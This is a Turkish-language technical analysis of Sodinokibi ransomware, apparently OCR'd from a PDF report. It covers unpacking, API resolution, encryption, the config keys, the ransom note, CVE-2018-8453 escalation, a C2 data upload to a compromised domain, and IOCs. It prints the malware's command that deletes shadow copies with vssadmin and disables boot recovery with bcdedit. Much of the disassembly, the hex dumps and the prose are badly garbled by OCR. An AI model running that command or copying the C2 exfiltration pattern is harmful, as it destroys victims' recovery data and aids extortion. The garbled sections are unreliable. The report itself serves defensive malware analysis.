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Ozet

Sodinokibi 2019’un ilk ceyreginde yayillmaya baslayan ve Mart-Nisan aylarinda toplu yayilma
¢ahsmalari yurutilen bir fidyeci zararli yazilimdir. Kendisi ayrica CVE-2019-2725 ve CVE-2018-8453
kodlu zafiyetleri sémirmektedir.

CVE-2018-8453 kodlu zafiyet 6ncesinde Ortadoguda yiratilen saldirilarda kullaniimisti.
Bu rapor Sodinokibi’ye ait teknik analizi ve 10C’leri igermektedir.

e Onyiikleyici

e  Fidyeci

e Sifreleme Asamasi

e Konfigilirasyon

o Yetki Yiikseltme

e C&C Baglantisi

e MITRE ATT&CK Matrisi
e 10C

Raporda asagida 6zet bilgileri yer alan varyantlar analiz edilmistir.

SHA256 11d7ebfc6dd68efbb6dda3a7a37c29eaf96b5e154522db9d933e7b20ca978faea
SHA256 95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
SHA256 fa2bccdb9db2583¢c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451
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Onytikleyici

incelemeye aldigimiz érnege baktigimizda erensty ckernelbase irtuslATos

mow_edi,edi
push ebp

kendisinin bir 6nytikleyici oldugunu gordik. AT

push ecx

. .. . . . v mov e ,dword prr ss:febp+c]
Fidyecinin asil aktiviteleri baslamadan dnce mov duofd e =< :Hebpoll o
mnvhdwm"d ptr ss:febp-af,eax
B

onyukleyici hafizasinda bulunan R

je kernelbase.7&FFAGF4

pack’lenmis bolim ¢ahstirabilmek =

. kernelbase.7&FFASES
amaclyla bir alan yaratiyor ve ardindan Sp e jdword pLr doi[7ross7ee]
unpack islemini gerceklestirerek yarattig 1

jb kernelbase.77020F70
kernelbase.77020F70 kernelbase.76FFASF4
ush 57

L loase.7srracrs
alana asil kismi aktarip kalan stirecini ilgili | B4 Siars per a: feencirestoreas sinsserrons) E e e o )
L

xor esi,es xor esi,es

q
b .. I . d d tt . jimp Kernelbase. 76FFA7LS and eax, FFERFRCo
push eax

olumden aevam € |r|y0r. Tea eax,dword ptr ss:[ebp-2]

push eax

push esi

Tea eax,dword ptr ss:[ebp-4]

push eax

push FFFFFFFF
WAl dword ptr ds:[<ANTAllocatevirtualMemorys]

TEST ax,max

s kernelbase.7eFFA721

l—l

kernelhase. 7EFFA72L kernelhase. 7aFFATLE I

mov esi,dword ptr ss:febp-4]

mow_ecx e
€all kernelbase.?7&FEFE20
imp kernelbase.76FFA71E

kernelbase. 7eFFATLE
mov eax,es51
pop esi

aga eax,: mnye_Fsn.ehn

. |BsLU L2
L o] arreeree jmp 6800B2 unpack End

Eg——e |2B45 10 sub eax,dword ptr ss:[ebp+10]

#|[8B55 14 mov edx,dword ptr ss:[ebp+14]

o[ 8902 mov dword ptr ds:[edx],eax

o geC1 mov eax,ecx

®|[2B45 08 sub eax,dword ptr ss:[ebp+s])

#||384D 08 cmp ecx,dword ptr ss:[ebp+s]

ofsF pop adi

00560000| 4D 5A 90 00|03 00 OO 00|04 OO0 00 OO
00560010 ( B8 0D OO0 00|00 OO0 OO 00|40 OO OO0 OO
00560020 | 00 0D OO 0OO|0O0 0O OO 00|00 OO OO0 DO
00560030 | 00 0D OO 0OO|0OO0 0O OO 00|00 OO OO0 DO
00560040 0E 1F BA OE |00 B4 09 CD |21 BS 01 4C
00560050( 69 73 20 70|72 6F 67 72|61 6D 20 &3
00560060 (74 20 62 65|20 72 75 6E|20 69 GE 20
00560070| 6D 6F 64 65|2E OD OD 0A|24 OO0 OO0 OO
00560080 | F1 1A 07 B9|BS 7B 62 EA|(B5 7B 62 EA
00560090 | 8E 25 6C EB|B4 7B 6% EA|BE 25 6A EB
005600A0( 22 25 6D EB|AF 7B 6% EA(22 25 6B EB
005600B0 (52 69 63 68|BS 7B 69 EA|0D0 OO 0O OO
005600C0 | D0 0D OO 0OO|00 00 OO 00|00 OO 00D DO
00560000 (50 45 00 00|4C 01 0% 00(Cl1 57 BF 5C
005600EQ0 | 00 00 00 00|ED OO 02 OL|0B 01 OE OO
005600F0 | D0 DA 01 00|00 00 OO 00|16 30 00 OO
00560100 (00 BO 00 00|00 00 40 00|00 10 00 OO
00560110( D5 00 01 00|00 00 OO 00|05 0D 01 OO
00560120 00 BDO 02 00|00 04 OO0 00|00 OO 00 OO
00560130 (00 0D 10 00|00 10 OO 00|00 OO 10 OO
00560140 ( 00 0D OO0 00|10 OO0 OO 00|00 OO OO0 OO
00560150 ( 00 0D 0O 0OO|00 0O OO 0OO|DD OO OO0 DO
00560160 | 00 0D 0O 0OO|00 OO0 OO 00|00 OO OO0 OO0
00560170( 00 AD 02 00|08 05 OO0 00|00 OO 00 OO0
00560180 ( 00 0D 0O 00|00 00 OO 00|00 OO 00 OO0
00560190 ( 00 0D OO 0OO|0O0 OO0 OO 00|00 OO OO0 OO0
005601A0( 00 0D OO 0OO|0O0 OO0 OO 00|00 OO0 OO0 OO0
00560180 | 00 0D OO0 00|00 00 OO0 00|00 OO0 OO0 OO
005601C0 | 00 0D OO0 00|00 00D OO 0OO0|2E 74 65 78|73 S
00560100| 74 99 oo ooloo 10 o0 oo0l0D 9SA 0O OO




Fidyeci
Dinamik API Co6zUmleme

Hedef uygulama statik analiz stirecinde tespitini zorlastirmak amaciyla kullanacagi API’leri dinamik
olarak ¢6ziimlemektedir.

B8BFF mov edi,edi GetProcAddress
55 push ebp
BBEC mov ebp,esp
83EC 0OC sub esp,C
53 push ebx
44 push esi
8BTS 04 mov esi,dword ptr ss:|[ebp+4])
57 push edi
BB7D 0OC mov edi,dword ptr ss:[lebp+Cl
81FF FFFFOO00 cmp edi,FFFF
v 76 56 jbe kernelbase.747D112F
57 push edi
BD45 F4 Tea eax,dword ptr ss:[lebp-Cj [ebp-C]: "EtwEventRegister"
S0 push eax
FF15 FO8385874 €a1 dword ptr ds:[<@Rt1InitString>]
BBSD 08 mov ebx,dword ptr ss:|lebp+3]
85DEB test ebx,ebx
~ OF84 13BCOZ200 je kernelbase.747FCDOS
F&C3 03 test bl,3
~ 75 SBE jne kernelbase.747D1152
BBC3 mov eax,ebx
56 push esi
6A 0D push 0O
8D4D FC Tea ecx,dword ptr ss:[[ebp-4]
51 push ecx
6A 0D push 0O
804D F4 lea ecx,dword ptr ss:|[ebp-c]] [ebp-C]:"EtwEventRegister"
51 push ecx
4] push eax
FF15 CC868874 €all dword ptr ds:[<&LdrGetProcedureAddressForcaller=]

Mutex

] 761E3ALOD ~ FF25 8C172476 |jmp_dﬂord_;tr_dslE<&creaté&utexw>]
OOEFFCEC | ODEFFC94 | L"Global\\D382D713-AA87-457D-DDD3-C3DDDEDFECIE"

CreateMutexw

On Hazirhk
Kullaniciya ait dosyalari sifrelemeden 6nce hedef uygulama asagida bulunan komutu calistiriyor.

push eax

push dword ptr [edi+38]
push dword ptr ds:[edi+124]
push dword ptr ss:[ebp-1£4]
push 1

“Usersy\MalwareLAB\\Desktop”
S\wwindows\\System32\\cmd. exe\" /c vssadmin.exe Delete Shadows /A1l /Quiet & becd
SyAWindows)\System32i\cmd. exe”

"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default}
recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

EXE L EXE | EXE

sodinokibi.exe cmd.exe vssadmin.exe bededit.exe
¢ —_— Cc:/ —_— Cc:/ —_ (&) —_— Cc:/
2960 2140 2084 2291

Bu komut ile shadow kopyalari silinmekte ve kurtarma devre disi birakilmaktadir.




Sifreleme Agamasi

0x407814: 55 - push ebp
. A ﬂx&ﬂ?Ele 8b ec mov ebp, esp
Sodinokibi  AES-256,  Curve25519 ve Salsa20 o ... pegey
0x40781b: ba 00 £f 00 ff mov edx, OXLL00IZ00

implementasyonu barindirmaktadir. Dosyalar = gmose: s

0x407821: mov esi, dword ptr [ebp + 8]
. . . 0x407824: 57 push edi
sifrelerken akis sifreleme algoritmasi olan Salsa20, kayit ~ sires: = o mov cex, dverd i [ex)

defteri degerleri ve C&C baglantilari icin AES’i, anahtar @i oo and eax, Oxerooze
’ 0x407831: cl c9 08 ror ecx, 8
0x407834: 23 ca and ecx, edx
degisimi icin ise Curve’i kullanmaktadir gra07836:  od T 04 lea ci, [eon s 4]
. 0x407839: 0b c8 or ecx, eax
0x40783b: 89 Oe mov dword ptr [esi], ecx
0x40733d: 8b 4b 04 mov ecx, dword ptr [ebx + 4]
0x407340: 8b cl mov eax, ecx
0x407842: cl c& 08 ror eax, &£
0x407845: 23 c2 and eax, edx
0x407847: cl cl 08 rol ecx, 8
0x40784a: 81 =1 £ff 00 ff 00 and ecx, OxffoOff
0x407850: O0b cl or eax, ecx
0x407852: 85 07 mov dword ptr [edi], eax
0x407354: 2b 4b 08 mov ecx, dword ptr [ebx + 8]
0x407857: 8b cl mov eax, ecx
0x407859: cl c& 08 ror eax, &£
0x40785c: 23 c2 and eax, edx
0x40785e: cl cl 08 rol ecx, 8
0x407861: 81 =1 £ff 00 ff 00 and ecx, OxffoOff
0x407867: O0b cl or eax, ecx
0x407869: 85 46 08 mov dword ptr [esi + 8], eax
0x40736c: 8b 43 Oc mov eax, dword ptr [ebx + Oxc]
0x40736£: 8b do mov edx, eax
0x407871: cl ca 08 ror edx, 8
0x407874: cl c0 08 rol eax, 8
0x407877: 81 =2 00 f£ff 00 ff and edx, Oxff00ff00
0x40787d: 25 ff 00 £f 00 and eax, OxffoOff
0x407882: Ob do or edx, eax
0x407884: 81 7d 10 80 00 00 00 cmp dword ptr [ebp + 0x10], 0x80
0x40738b: 28 56 Oc mov dword ptr [esi + Oxc], edx
0x407338e: 0of 85 £2 00 00 0O jne 0x407%86 <fnncl:iﬂn7457514+0x172>
0x4073894: gb c2 mov eax, edx
0x407396: bb 00 00 Q0 ff mov ebx, OXff000000
0x4078%b: cl =8 10 shr eax, 0x10
0x4078%e: 0f b& c0O movzx eax, al
0x4078al: 8b Oc 85 60 5d 41 00 mov ecx, dword ptr [eax*4 + 0x419d&0]

0x407828:  8b c2 mov eax, edx

ilgili proses sifreleme islemleri sirasinda kullanacagi anahtarlari ve uzantiyi calistigi sistem icerisinde
HKLM\SOFTWARE\RECFG altinda saklamaktadir.

f_ﬂfvarsawlan] REG_SZ (deger atanmanusg)

i-'g']ﬁ_key REG_BINARY 31 d9 0% 3e c0 42 ab 96 89 df 52 b2 19 31 &2 d9 83 d...
I;'p']pk_key REG_BINARY 1e7f16dd 3210 d7 90 1c 80 9b 85 0a 82 c6fc 053 17...
ab|rnd_ext REG SZ whx2ds

_‘i-'g']sk_key REG_BINARY cf 48 eb3bel 58fBfc 07 e2 e7 eb Of 31 ed TO b6 49 ...
| stat REG_BINARY cefeOd ab 7b 9e 23 4d Tc d7 bf 11 Da 9f 87 6b df 3...
i-'g']sub_key REG_BINARY d6 Od ff 40 44 0f 39 Oe d2 dd f0 4b 67 4c 2f bb 0 7d ...

Dize Diizenle *

Deder adi:
|md_ext |

Deder verisi:

[-6:24 |

Calistigl sistem icerisinde sifreleyecegi hedefleri bulabilmek igin “kernel32” fonksiyonu olan
“FindFirstFileExXW” kullanilmaktadir.

B{J;H dword ptr ss:|ebp+3]

[ebp+8] : L™\W\ALTAAC: \\Program Files (x86)%\\*"
€all <kernelbase.FindFirstFileExw:

7553D74E FF75 08
ES 0ADD000O

Dosyalari sifreledikten sonra uzantilarini degistirmektedir.

B8BFF mov edi,edi MoveFilew

55 push ebp

BBEC mov ebp,esp

6A 02 push 2

64 00 push o

64 00 push 0

FF75 0OC push dword ptr ss:|febp+C[) [ebp+C] i L™\ AN TYNCI A\ PYThon27\\ LICENSE . TXT. VEX245"
FF75 08 push dword ptr ss:[ebp+s] [ebp+8] : L™\ AT CIA\PYThon27 W\ LICENSE.. TXT "

FF15 6C106176 €311 dword ptr ds:[<&MoveFrilewithProgressw:]
5D pop ebp
€2 0800 FEE =




Konfiglirasyon

Sodinokibi zararlisi bir konfiglirasyon barindirmaktadir.

{
npkny me
npider mw,
naubmr mw,
ndbgn:
"fast": ,
"wipe™: ,
"wht": {
"fid": [],
"fisv: [],
"ext": []
I
"wEld™: [
"backup”
1.
"prc”: [1,
ndpnmy mw,
"net™: ,
"nbody": "LOATACORAPQRSADOATABXAGUALAB]AGEADOBLACARIABBAGCAYQEPAGEIALgAgADOAPQASACORLOATAROACGRANAROAWWArAFORTABXAGGRYQBOLHMI
"nname": "{EXT}-readme.txt",
Texp™:
"img": "QOBsAGWAIABVAGYAIABSAGSAACOBVACARZgBpAGWAZOBzACARYQBYAGUATIABIAGSAYWBYAHKACABOAGUAZRARNAROACyANARCARYBpAGAAZARgAHSAR(

Bu konfiglirasyon sifreleme esnasinda kullanilan PK’i, etkilenen sisteme ait ID’i, sifrelenmeyecek
klasérlere/dosyalara ait anahtar kelimeleri ve uzantilari, sifreleme isleminden 6nce sonlandirilacak
uygulama isimlerini, islemlerini gergeklestirdikten sonra kullaniciya birakacagi notu, not dosyasinin
adini ve imaj gibi ayarlari bulundurmaktadir.

Encoded :
AB1 AAZABLAGEA 3 UAbgBKACEADQAKAAOAC! BzACAAYQBYAGUAIAB1AGA: F UAZAASA L 1 CAAeQBVAHUAIABIAGEAL

Decoded :
Hello dear friend!

Your files are encrypted, and, as result you can't use it. You must visit our page to get instructions about decryption process.

All encrypted files have got {EXT} extension.

Instructions into the TOR network

Install TOR browser from https://torproject.org/

visit the following link: http: lebzud? cvézenippkbxbréwket £56nféaq2 d.onion/{UID)

Instructions into WWW (The following link can not be in work state, if true, use TOR above):

Visit the following link: hutp://dscryptor.top/{UID}

Page will ask you for the key, here it is:

(REY)

PK Acik Anahtar

PID Dagitana Ait ID

SUB Kampanya ID

DBG Debug Mod / Belirtiimediginde sistemde arayiz ve klavye dil kontroli yapmaktadir.
FAST Hizlh Mod

WIPE Dizin silme

WHT Klasér/Dosyalar igin whitelist

WEFLD Silinecek dizinler

PRC Sifreleme islemi 6ncesi sonlandirilacak proses adlari

DMN Baglanti kurulacak domain listesi

NET Domainler ile baglanti kurulup kurulmayacagini belirten anahtar
NBODY Fidyeciye ait notun B64 encoded hali

NNAME Not dosyasinin adi

EXP CVE-2018-8453 kodlu exploiti kullanip kullanmayacagi

IMG Masausti gorseli




Yetki Yukseltme

Sodinokibi sahip oldugu konfiglirasyon icerisinde “exp” adl bir anahtar barindirmaktadir. Eger ilgili

varyantta bu anahtar bir degere sahipse proses 6ncelikle CVE-2018-8453 kodlu zafiyete ait sémiiri

kodunu galistirmaktadir. Eger basarisiz olursa kendini yonetici kullanicisina ait yetkilerle ¢alistirmayi
denemektedir.

CVE-2018-8453

Zafiyet win32k.sys icerisinde bulunmakta ve bellekte bulunan nesnelerin diizglin islenmemesinden
ortaya cikmistir. Zafiyet sayesinde sistem kullanicisi seviyesindeki yetkiler elde edilebilmekte ve
kernel modda kod ¢alistirilabilmektedir.

Zafiyetin kompleksligi nedeni ile rapor icerisinde tiim detaylara yer verme sansimiz olmadigi igin farkli
bir yazida zafiyeti ele alacagiz.

Hook Functions in Kernel Callback Table
| (MDWORD,inNCDESTROY,INLFCREATESTRUCT)

Creates window which name is "SysShadow”

Sets windows position under hook

Call DestroyWindow(lt call nNCDESTROY)

Set FNID of the Freed Window to FNID of the button

SOmiird Diagrami




C&C Baglantisi

Bahsi gecen konfiglrasyon icerisinde “dmn” dizisi, Sodinokibi’nin sifreleme isleminden sonra baglanti
kuracagi domainleri barindirmaktadir. Eger varyant icerisinde bulunan konfiglirasyonda bir domain
dizisi varsa sifreleme isleminden sonra domainler ile dinamik olarak URL’ler olusturup, enfekte oldugu
sistem hakkinda topladigi bilgileri sifreleyerek kaydettigi “HKLM\SOFTWARE\recfg\stat”
anahtarindaki degerleri gondermektedir.

EEEEERE  ceFF mov_edi,edi WinHttpOpenRequest

2 55 push ebp
BBEC mov ebp,esp
83EC 48 sub esp,48
Al B4803473 mov eax,dword ptr ds:[73348084] eax:L"POST"
33C5 xor eax,eb
83945 FC mov dword ptr ss:ffebp-4J,eax [ebp-4]:L"pics
8B45 08 mov eax,dword ptr ss:[Jenp+s] [ebp+8] :L"https: //aciscomputers.com/uploads/images/ibrvipcfkjbjajfrre. png”
8B4D 0C mov ecx,dword ptr bp+Cj)
8B5S 10 mov edx,dword ptr
53 push ebx
8BED 18 mov ebx,dword ptr ss:|[Jebp+18]
895D CC mov dword ptr ss:[Jebp-34],ebx
8BSD 1C mov_ebx,dword ptr ss:[Jebp+ic
56 push es1
8B75 20 mov esi,dword ptr_ss:[Jebp+2of) [ebp+20):L"aciscomputers. com
595D BC mov dword ptr ss:[ebp-44j,ebx
33DB xor ebx,ebx
57 push edi

Asagida bu domainlerden bazilari yer almaktadir.
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MITRE ATT&CK Teknikleri

Command

Discovery o Collection  Exfiltration o:::u |

Privilege Defense Credential Lateral

Initial Access Execution Persistence " .
Escalation Evasion Access

Exploit Public-Facing Command-Line New Service New Service Disabling Data
Application Interface Security Tools Encrypted
Exploitation for Privilege for Impact
External Remote Execution Escalation Modify Registry
Services threugh API Inhibit
System
Trusted Relationship Recovery

| Tatic | .o | Name
|
e

Initial Access

I0C
Anahtar Deger ‘
SHA256 0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
SHA256 34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160
SHA256 74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac
SHA256 95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
SHA256 fa2bccdb9db2583c2f9ff6a536€824f4311c9a8a9842505a0323f027b8b51451
SHA256 a05c78b65a632ac51adfeeb748e5e89cc6e57d7a394d8b61aa06f4e721eae3as
SHA256 5f56d5748940e4039053f85978074bde16d64bd5ba97f6f0026ba8172cb29e93
SHA256 e5d23a3bb61b99e227bb8cbfc0e7fled0feaddaacddchb80acc925cfd7e3d18ec

SHA256 0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
SHA256 11d7ebfc6dd68efb6dda3a7a37c29eaf96b5e154522db9d933e7b20ca978faea
SHA256 861bc212241bcac9f8095c8del1b180b398057cbb2d37¢c9220086ffaf24ba9e08
SHA256 5f56d5748940e4039053f85978074bde16d64bd5ba97f6f0026ba8172cb29e93

Domain decryptor[.]top
Mutex Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BFO
Mutex Global\48ce5235-506a-49ee-999a-bee908c6aal7

Registry HKLM\SOFTWARE\recfg

Registry HKLM\SOFTWARE\recfg\0_key
Registry HKLM\SOFTWARE\recfg\pk_key
Registry HKLM\SOFTWARE\recfg\sk_key
Registry HKLM\SOFTWARE\recfg\sub_key
Registry HKLM\SOFTWARE\recfg\stat
Registry HKLM\SOFTWARE\recfg\rnd_ext




